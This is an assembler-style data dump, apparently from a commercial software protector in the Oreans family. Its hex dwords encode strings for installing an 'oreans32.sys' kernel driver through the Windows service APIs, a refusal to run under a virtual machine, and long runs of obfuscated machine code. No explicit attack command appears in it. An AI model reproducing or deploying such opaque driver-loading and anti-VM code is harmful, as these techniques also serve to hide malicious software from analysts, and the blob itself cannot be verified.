		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 10h
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 0A58D33C4h, 8909350Eh, 352D0D85h,	8D03F509h
		dd 9350C99h, 8B66C08Bh,	0A1BD83C8h, 93526h, 0BD830975h
		dd 9353079h, 50197400h,	0B8C08B53h, 43Dh, 2AC18589h, 9D8D0935h
		dd 937B438h, 585BD3FFh,	3079BD83h, 74000935h, 0B8535017h
		dd 43Dh, 2AC18589h, 9D8D0935h, 937B127h, 585BD3FFh, 1DF59D01h
		dd 8D8B0935h, 93504D1h,	0C08BC08Bh, 26A1BD83h, 75000935h
		dd 79BD8309h, 93530h, 53501374h, 0B8C08Bh, 8D000000h, 37B2DA9Dh
		dd 5BD3FF09h, 79BD8358h, 93530h, 53501174h, 0B8h, 8B9D8D00h
		dd 0FF0937B1h, 8B585BD3h, 0A1BD89FBh, 29093517h, 352E4985h
		dd 89C08B09h, 3524259Dh, 0E9C08B09h, 12h, 0D42D738Dh, 6363A5C3h
		dd 200DBB01h, 20ED1585h, 0BD83E2A5h, 93526A1h, 83097500h
		dd 353079BDh, 13740009h, 0C08B5350h, 0B8h, 0C9D8D00h, 0FF0937B2h
		dd 83585BD3h, 353079BDh, 11740009h, 0B85350h, 8D000000h
		dd 37B1599Dh, 5BD3FF09h, 0BDBD8B58h, 2909352Fh,	35065D85h
		dd 45958909h, 8B09351Ch, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 724A8475h, 2C2DBD8Bh
		dd 0C08B0935h, 0BD83D08Bh, 93526A1h, 83097500h,	353079BDh
		dd 13740009h, 0C08B5350h, 0B8h,	739D8D00h, 0FF0937B2h
		dd 83585BD3h, 353079BDh, 11740009h, 0B85350h, 8D000000h
		dd 37B1729Dh, 5BD3FF09h, 1076BF58h, 6A2DF6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D8901C3h
		dd 93527F1h, 8166C08Bh,	8B31ECC2h, 5D9D89C0h, 83093526h
		dd 3526A1BDh, 9750009h,	3079BD83h, 74000935h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 937B1A5h,	585BD3FFh, 8BFABF0Fh, 3502E1BDh
		dd 0FCC08B09h, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8D8B5FC3h, 93500C9h, 26A1BD83h
		dd 75000935h, 79BD8309h, 93530h, 53501974h, 0D0B8C08Bh
		dd 89000007h, 352AC185h, 389D8D09h, 0FF0937B4h,	83585BD3h
		dd 353079BDh, 17740009h, 0D0B85350h, 89000007h,	352AC185h
		dd 279D8D09h, 0FF0937B1h, 0E9585BD3h, 9, 28FB8F8Eh, 6946BAE4h
		dd 0C195BFA8h, 8D8B2AAAh, 9350E25h, 0BD33C08Bh,	93526D5h
		dd 179D85C6h, 51530935h, 6859D38Bh, 99395F90h, 24F5B529h
		dd 6E90935h, 89000000h,	0B471A916h, 0C9B5FF80h,	0B209350Eh
		dd 98858D39h, 6A093538h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0A6F5C357h,	8BD97C35h
		dd 3503F595h, 66D0FF09h, 8589FA8Bh, 9350D05h, 96CA8166h
		dd 0F733BA61h, 85C61BD0h, 935179Dh, 0FA18BF57h,	6687DB3h
		dd 52900452h, 2C6D8589h, 0FF5A0935h, 350EC9B5h,	3ED2BF09h
		dd 858D1F00h, 9353898h,	65EC2CBFh, 66D0FF51h, 898635B9h
		dd 352EB985h, 0EE909h, 5E980000h, 7E623A26h, 9F5F17B4h
		dd 0BE5DC8CCh, 179D85C6h, 6A430935h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 6CFDC355h
		dd 682A7DC8h, 0BC907028h, 0FFCE8B66h, 350EC9B5h, 50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 710C21AEh, 0F28166A1h, 858DD1D3h, 9353898h, 37DBD8Bh
		dd 81660935h, 0FF427BD2h, 0CFB70FD0h, 0C818589h, 0F1810935h
		dd 6DD2A3A6h, 179D85C6h, 8B4C0935h, 35248595h, 1CE96809h
		dd 0BD03D9DAh, 9352D4Dh, 0FFCFC580h, 350EC9B5h,	0DBA0B909h
		dd 8B537DDFh, 350F2DBDh, 858D5F09h, 9353898h, 0EE856h
		dd 0B8B90000h, 257BF01Ah, 6C107479h, 0DB0F05CDh, 5A5FA2B1h
		dd 0DF81D0FFh, 27B24F1Eh, 11198589h, 14E80935h,	0DF000000h
		dd 0AA1C3DB5h, 15E23225h, 7C867EA4h, 0AC5FAE00h, 5AA6CE15h
		dd 1BFD8589h, 85C60935h, 935179Dh, 0CBB70F46h, 0DE061468h
		dd 0A7C181BAh, 0FF6C908Dh, 350EC9B5h, 0A3D18009h, 3898858Dh
		dd 0D0FF0935h, 458589F8h, 6A093501h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0FA18C350h
		dd 6316F3AAh, 8C0F1E8Ah, 6, 10798D8Bh, 85C60935h, 935179Dh
		dd 57006A47h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 49B13DC8h, 0FB45B6Dh, 68Ch, 17F78100h, 6679961Bh
		dd 423BC781h, 0FB5E268h, 57006A8Ah, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0A957F6B4h, 82E5A860h
		dd 0DACA8166h, 0C9B5FFEDh, 0E909350Eh, 0Dh, 736E458Ah
		dd 3B5FD3C4h, 9BDEE982h, 98858D14h, 0E8093538h,	12h, 8A7F013Fh
		dd 7B110D12h, 5300B754h, 0CBB785CAh, 14E9D56Dh,	0FA000000h
		dd 38420937h, 4911CB6Bh, 0F841678Dh, 0D2376DADh, 5A5E826Eh
		dd 0DDBFD0FFh, 666C3387h, 89FEDFB9h, 352A8585h,	85C6FC09h
		dd 935179Dh, 75958B47h,	6809350Bh, 83D0B5F3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F6C35747h, 44BE2D0Dh
		dd 8E9h, 0ACAC2800h, 2FAFAED0h,	0C9B5FF29h, 8B09350Eh
		dd 98858DD6h, 8A093538h, 81D0FFF7h, 232049F2h, 0CFB70F3Ch
		dd 11E18589h, 0F5600935h, 61C7B70Fh, 179D85C6h,	66770935h
		dd 68AB27BFh, 0F397A8A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 12C35747h, 0AA7D8B0h,	7DB5FF1Bh, 6A093505h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 9831C353h, 0F7B75156h, 3A0662F2h,	0D981D18Bh
		dd 346E1E57h, 3898858Dh, 8D8B0935h, 9350A5Dh, 0F2BFD0FFh
		dd 8916C8E8h, 35275985h, 0F98D8909h, 0C609351Ch, 35179D85h
		dd 6A4709h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0AC5988C3h, 80CD304Fh, 0F6680DCAh, 818728FAh
		dd 0B44DCEE1h, 0C9B5FF15h, 6609350Eh, 0BDA1EA81h, 3898858Dh
		dd 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 601969C3h, 261D9D89h, 81660935h, 61D81DC0h
		dd 0FD9950Bh, 0D0FF0935h, 0FD1BF0Fh, 68Eh, 18D2900h, 89093528h
		dd 352CC585h, 0C66DB609h, 35179D85h, 820F4309h,	13h, 0EE9h
		dd 64C14800h, 6047B113h, 405A6366h, 6827CEC4h, 0BC8E6EFCh
		dd 28659523h, 0B5FF0935h, 9350EC9h, 8BF9BF0Fh, 350EB18Dh
		dd 98858D09h, 0BF093538h, 2C2FFCDAh, 2FC58D8Bh,	0D0FF0935h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 45C35545h
		dd 858501A7h, 89093527h, 35244185h, 65E28109h, 8B421B5Eh
		dd 352FBDBDh, 9D85C609h, 45093517h, 69683EB5h, 0BF8E7269h
		dd 5274A501h, 27458589h, 0B5FF0935h, 9350EC9h, 8A0Fh, 858D0000h
		dd 9353898h, 0F39ED281h, 0D0FF5279h, 0DE9h, 33CC5800h
		dd 0AA07CA65h, 0ECF4C7Eh, 89F953F2h, 351AC985h,	0F8BF0F09h
		dd 179D85C6h, 89440935h, 351C79B5h, 0EC646809h,	9503B8F2h
		dd 9352831h, 0EC9B5FFh,	85890935h, 9352809h, 3898858Dh
		dd 8B600935h, 352389BDh, 13E909h, 0E2B60000h, 0D1DC80B1h
		dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0D0FF617Fh
		dd 0CF1BD8Bh, 85890935h, 935117Dh, 61606056h, 1169958Bh
		dd 59610935h, 1B6D9D89h, 85C60935h, 935179Dh, 50006A43h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 6E03D5D9h, 93E90141h, 11E9h,	9E01FC00h, 5578CB04h, 34E5628Bh
		dd 0FD125AC5h, 0C4BAFECEh, 682402FCh, 0C0764AA7h, 1B60B966h
		dd 0EC9B5FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 1250E9C3h, 0B60C2ABh, 8DFBBF0Fh
		dd 35389885h, 91B52909h, 66093510h, 0FFD797BFh,	5E8D0h
		dd 9C620000h, 590BA410h, 2CE58589h, 6A0935h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7296B2C3h
		dd 8F4FD11Ch, 0CA8166B2h, 0BD806170h, 938014Eh,	75840F00h
		dd 29000000h, 351EBD9Dh, 30858D09h, 50093801h, 0FE9h, 0A568B100h
		dd 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0B70F016Ah, 33006AC9h
		dd 350BD5BDh, 89006A09h, 35052D8Dh, 8195FF09h, 0B09350Ch
		dd 352F3DBDh, 0D9858909h, 0F09352Ah, 0FF6ACAB7h, 891CDA80h
		dd 35249595h, 0D9B5FF09h, 5309352Ah, 0F5A5A56h,	68Bh, 21B53100h
		dd 0FF09350Ah, 352EB995h, 0FB8B6609h, 8B66C08Bh, 0A1BD83CEh
		dd 93526h, 0BD830975h, 9353079h, 50197400h, 0B8C08B53h
		dd 7D1h, 2AC18589h, 9D8D0935h, 937B438h, 585BD3FFh, 3079BD83h
		dd 74000935h, 0B8535017h, 7D1h,	2AC18589h, 9D8D0935h, 937B127h
		dd 585BD3FFh, 9531D18Bh, 9352981h, 9589C08Bh, 9352C6Dh
		dd 179D85C6h, 68470935h, 93C8F7C1h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 43C35141h, 3496F00h, 0B5FFA8B5h
		dd 9350EC9h, 858DF78Ah,	9353898h, 0B959D89h, 0D0FF0935h
		dd 6A50F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8960A8C3h, 352FBD9Dh, 8961F909h, 3523B99Dh
		dd 71858D09h, 0E9093805h, 8, 0A54E331Fh, 43F45940h, 9400C7h
		dd 8D8B0000h, 9352C6Dh,	0D7816658h, 0B58DA33Ah,	9380571h
		dd 5658589h, 1560935h, 350811BDh, 8BD0FF09h, 3500758Dh
		dd 71858D09h, 6A093805h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 52F5C355h, 0BEE781E6h
		dd 83584457h, 0F060478h, 2F85h,	13E95700h, 0EC000000h
		dd 0FBA50BDDh, 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 815AD1B6h
		dd 9753E7D9h, 585C73Dh,	1093806h, 0BA000000h, 221DBD61h
		dd 1189BD83h, 0F000935h, 6D85h,	0B98D8900h, 0E9093512h
		dd 12h,	4BF87FBFh, 2495CB1Fh, 95DA318Fh, 36B301Dh, 0BD836D24h
		dd 9380605h, 43850F00h,	0F000000h, 0BD83F9B7h, 9350539h
		dd 33840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 80E2C355h, 0FE8B4ECAh
		dd 85C7D18Bh, 9350021h,	0
		dd 0E418501h, 8C660935h, 9E9FCDBh, 3D000000h, 213E4135h
		dd 22706DBCh, 0F04C3F6h, 4C684h, 7E900h, 0D4150000h, 4A2EF20Bh
		dd 1985C7C4h, 9351Ch, 23000000h, 3525EDBDh, 80FA8B09h
		dd 38015BBDh, 850F0009h, 0Ah, 3D850960h, 8B09350Bh, 85C661F3h
		dd 935179Dh, 6E86047h, 8E000000h, 5C4CA5C2h, 585B5233h
		dd 2419958Bh, 68610935h, 0E3E45B86h, 0B0DAEA81h, 0B5FF2C63h
		dd 9350EC9h, 966CE781h,	858D0DB1h, 9353898h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 1AE1818Bh
		dd 0FF76045Fh, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0A86DC4F5h, 0DE9C8h, 9D850000h
		dd 613DF831h, 36EBAFEAh, 666570A6h, 3E7DF81h, 0FE956h
		dd 8FED0000h, 0AF4CDE60h, 722809FDh, 0BA5CC5CEh, 4685F0Eh
		dd 8B000001h, 35272D8Dh, 0D99D8D09h, 89093512h,	35235DBDh
		dd 74BF5309h, 0FF0AA5CCh, 0B19589D0h, 8D09352Dh, 3512D985h
		dd 0A99D8909h, 50093527h, 0D858DFCh, 0B1093801h, 8B605078h
		dd 35005D85h, 0CAB96109h, 8D025499h, 37F7E085h,	9E85009h
		dd 76000000h, 0DABA5001h, 129C4440h, 0CABF0F53h, 8A0F5A59h
		dd 6, 2BC5950Bh, 95FF0935h, 9352759h, 12D5952Bh, 0C4830935h
		dd 0C8B70F0Ch, 8068006Ah, 6A000000h, 6A006A03h,	6800h
		dd 858D8000h, 937F7E0h,	4195FF50h, 89093524h, 3800F085h
		dd 9D85C609h, 47093517h, 0B15E8768h, 0C9B5FFC7h, 8D09350Eh
		dd 35389885h, 6AD0FF09h, 0F0B5FF00h, 0FF093800h, 880FF9D0h
		dd 13h,	5E860h,	2ABA0000h, 5A93C264h, 50F8E081h, 3D615CE8h
		dd 37D0h, 46830Fh, 0BD8B0000h, 9350329h, 0F0B5FFh, 0CA8B0938h
		dd 2CE595FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 104F0CC3h, 0C75646B1h, 8BAC51FDh
		dd 0C6E9D7h, 958B0000h,	9352F25h, 0F0B5FFh, 6A0938h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0FB5F93C3h, 6D1958Bh, 12E90935h, 38000000h, 2849F27Ch
		dd 0AB2ED5B2h, 0C1EE25DEh, 0D7E8DA52h, 0E595FFE9h, 6609352Ch
		dd 6AD268BFh, 9D895200h, 935003Dh, 8B006A5Ah, 99958BCEh
		dd 6A09350Dh, 880F6000h, 2, 0BD015B50h,	9351F15h, 19BD0161h
		dd 6A093524h, 6A60B200h, 0BDB53100h, 8109352Fh,	57E9C4DFh
		dd 8B006A0Ch, 352EB195h, 0F4858D09h, 89093800h,	351611B5h
		dd 2EDF8109h, 50702FD2h, 2239958Bh, 95FF0935h, 9352441h
		dd 0F883CE8Bh, 39850FFFh, 66000001h, 7AED181h, 0BC80858Dh
		dd 0CB8B0937h, 5BB1D0FFh, 7FCF8166h, 89006AB2h,	3504718Dh
		dd 2890F09h, 8B000000h,	23006ACAh, 3507ED8Dh, 8B006A09h
		dd 3513E195h, 51006A09h, 1EA5BD89h, 0E95F0935h,	11h, 48201A48h
		dd 3A9EFF1Eh, 46BCE42Ah, 0C57D058Bh, 0E9006A09h, 11h, 23857E15h
		dd 1503AA6Ah, 0F3275EFBh, 0C82D1F9Dh, 0F58D8934h, 6A09351Ch
		dd 0AE900h, 7FA00000h, 6156E8D3h, 8AE8F74Dh, 0F4858Dh
		dd 8B660938h, 958B50D1h, 93505DDh, 244195FFh, 6A0935h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 245D9EC3h, 471BC5D7h, 0BF66893Ah, 8166C7E9h,	83FD97D9h
		dd 850FFFF8h, 68h, 8DD1B70Fh, 37FAFCB5h, 5800F09h, 66000000h
		dd 6C91D781h, 0A719858Dh, 0BA600937h, 77EA2F6Dh, 61C9B70Fh
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0D5784BC3h, 7F1994DCh, 0F9B3852h,	687h, 0E1BD8B00h
		dd 6A093528h, 0A1B96600h, 0C995FF46h, 6609351Ah, 1AB3C281h
		dd 0F08589h, 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 6939EBC3h, 8D8BB969h, 9352685h
		dd 8D8B006Ah, 9350649h,	0E8858Dh, 0BD8B0938h, 9350065h
		dd 4CBB950h, 46A2CFCh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0A5C35040h, 47231031h, 8D0512F2h, 350C0585h
		dd 8D8B5009h, 9351689h,	820F006Ah, 3, 81CB8B66h, 0F48A7CF1h
		dd 0F006A58h, 58Ah, 0F70EB900h,	16A769Fh, 469D781h, 0B5FF2E30h
		dd 93800F0h, 91B3BF66h,	117D95FFh, 16BA0935h, 0E94B449Ah
		dd 1BBFh, 8BCB8B66h, 53006AC0h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0A9C107C7h, 0B86660BAh
		dd 8D0B4BD4h, 935228Dh,	0A1BD8361h, 93526h, 0BD830975h
		dd 9353079h, 50197400h,	0B8C08B53h, 7D2h, 2AC18589h, 9D8D0935h
		dd 937B438h, 585BD3FFh,	3079BD83h, 74000935h, 0B8535017h
		dd 7D2h, 2AC18589h, 9D8D0935h, 937B127h, 585BD3FFh, 1B39950Bh
		dd 0D7B60935h, 85C7C08Bh, 9351C19h, 1, 0B8682AB1h, 0FFCEE4E7h
		dd 352621B5h, 98858D09h, 0FF093538h, 8D8589D0h,	68093506h
		dd 0C005DBD4h, 2621B5FFh, 858D0935h, 9353898h, 8589D0FFh
		dd 9351EFDh, 0F599858Dh, 0FF500937h, 350EC9B5h,	8595FF09h
		dd 0B09352Ah, 8B0B74C0h, 4C858DD8h, 50093805h, 858DD3FFh
		dd 938054Ch, 9388366h, 85C70A75h, 93523CDh, 1, 2CC595FFh
		dd 0FF250935h, 83000000h, 0A7305F8h, 69585C7h, 10935h
		dd 95330000h, 9350F1Dh,	6007C280h, 0FD38C781h, 8E86796h
		dd 9D000000h, 380D630Fh, 5ED4BF5Ch, 5BBD8061h, 93801h
		dd 1A850Fh, 0F8600000h,	0D18061FCh, 1A71E9A8h, 9E90000h
		dd 0B7000000h, 0E082D050h, 3028879Ah, 23CDBD83h, 0F000935h
		dd 13385h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 25858D5Bh, 66093801h, 50CDC2B9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1EC35141h
		dd 8A8AFFAAh, 0A98D8BD7h, 6A093522h, 0CFCD8001h, 8160006Ah
		dd 0B43B56E7h, 0B9858B78h, 6109352Ch, 8960006Ah, 3526E585h
		dd 8E809h, 90890000h, 27FAFF5Ah, 0B509712Fh, 9352EE5h
		dd 95FF6158h, 9350C81h,	1AFDB589h, 85890935h, 938014Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 59C35343h
		dd 0ECDBD8Bh, 0FF6A0935h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 47C35343h, 6159D89h, 0B5FF0935h, 938014Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h
		dd 0CFA4840Fh, 61958BD6h, 0FF09351Dh, 352EB995h, 55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 6B661813h, 958B3CA9h, 935051Dh, 0F560858Dh, 0BD890937h
		dd 9351115h, 8E950h, 0EE2C0000h, 42086EAh, 95FF66E5h, 9351119h
		dd 21D5BD8Bh, 85890935h, 937F5EAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 41C35141h, 1275159Dh, 7181579Eh
		dd 12E9h, 83A89E00h, 307459C0h,	855732F8h, 0DBB8B0B2h
		dd 8A9C1FC6h, 6D858DEAh, 0F90937F5h, 0B5FFF850h, 937F5EAh
		dd 64485CBAh, 0CA816061h
		dd 68D81F79h, 51B8E8BAh, 95FF610Ah, 9352A85h, 2F598589h
		dd 858D0935h, 937F5DBh,	0F50CB8Bh, 0EA80C8BFh, 0EAB5FF98h
		dd 0F0937F5h, 684h, 0B18D8900h,	0FF093512h, 352A8595h
		dd 0CE8B6609h, 0F5FE8589h, 8DF50937h, 37F5BA85h, 51006A09h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0ACF80A72h, 93EA5DDCh, 6880F0Dh, 2B000000h, 351B8D8Dh
		dd 8D8B5009h, 9352BBDh,	0AC19D31h, 0B5FF0935h, 937F5EAh
		dd 0FE9h, 0E1BB6500h, 7B77AD4Ah, 62834242h, 1D63DFADh
		dd 2A8595FFh, 0F560935h, 0B80h,	6E900h,	449E0000h, 0A7F19862h
		dd 3D8D0B5Ah, 89093505h, 37F5F685h, 858DF909h, 937F5ADh
		dd 1519589h, 66500935h,	0FF5C85B9h, 37F5EAB5h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 870CAF75h, 0BDB1C93Ah, 8595FFF2h, 5009352Ah,	2DC9958Bh
		dd 665F0935h, 7717DF81h, 0F5FA8589h, 81660937h,	8D367CE1h
		dd 37F5C885h, 0D0B70F09h, 24519D29h, 0FC500935h, 0F5EAB5FFh
		dd 0B70F0937h, 8595FFCFh, 8A09352Ah, 718589ECh,	6609352Ch
		dd 8D5BA7BFh, 37F57C85h, 5FF95209h, 8AF18150h, 80563648h
		dd 0B5FFD3D1h, 937F5EAh, 85D8589h, 95FF0935h, 9352A85h
		dd 5598D8Bh, 85890935h,	937F5EEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 6AC35343h, 8DDB989Ch, 37F58B85h
		dd 0C9BD8909h, 5009350Dh, 0FFA0E680h, 37F5EAB5h, 0BCBF6609h
		dd 8595FF54h, 8B09352Ah, 352D9DBDh, 0F2858909h,	6A0937F5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0EEDBC357h, 0CA2FBADFh, 63A2B9D9h, 4686CB4h
		dd 0F000001h, 858DCAB7h, 937F682h, 68A0Fh, 0BD010000h
		dd 9350425h, 55006A50h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 748CE43Ah, 86703185h, 86858D0Eh
		dd 890937F7h, 35247985h, 6890F09h, 89000000h, 3531EDB5h
		dd 60605009h, 4C98D09h,	0EC8A0935h, 25BD8B61h, 6109352Fh
		dd 11E195FFh, 870F0935h, 3, 85FDE280h, 2850FC0h, 0B5000000h
		dd 5BBD80E4h, 93801h, 1D850Fh, 9E80000h, 0D7000000h, 94557335h
		dd 6F3806D0h, 5ACB8B66h, 160AE9h, 8D8D8900h, 83093512h
		dd 3523CDBDh, 850F0009h, 2Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 54C35242h, 0E45DDE53h, 5BD8399h
		dd 93806h, 4D840Fh, 858D0000h, 937F61Fh, 95896050h, 9351169h
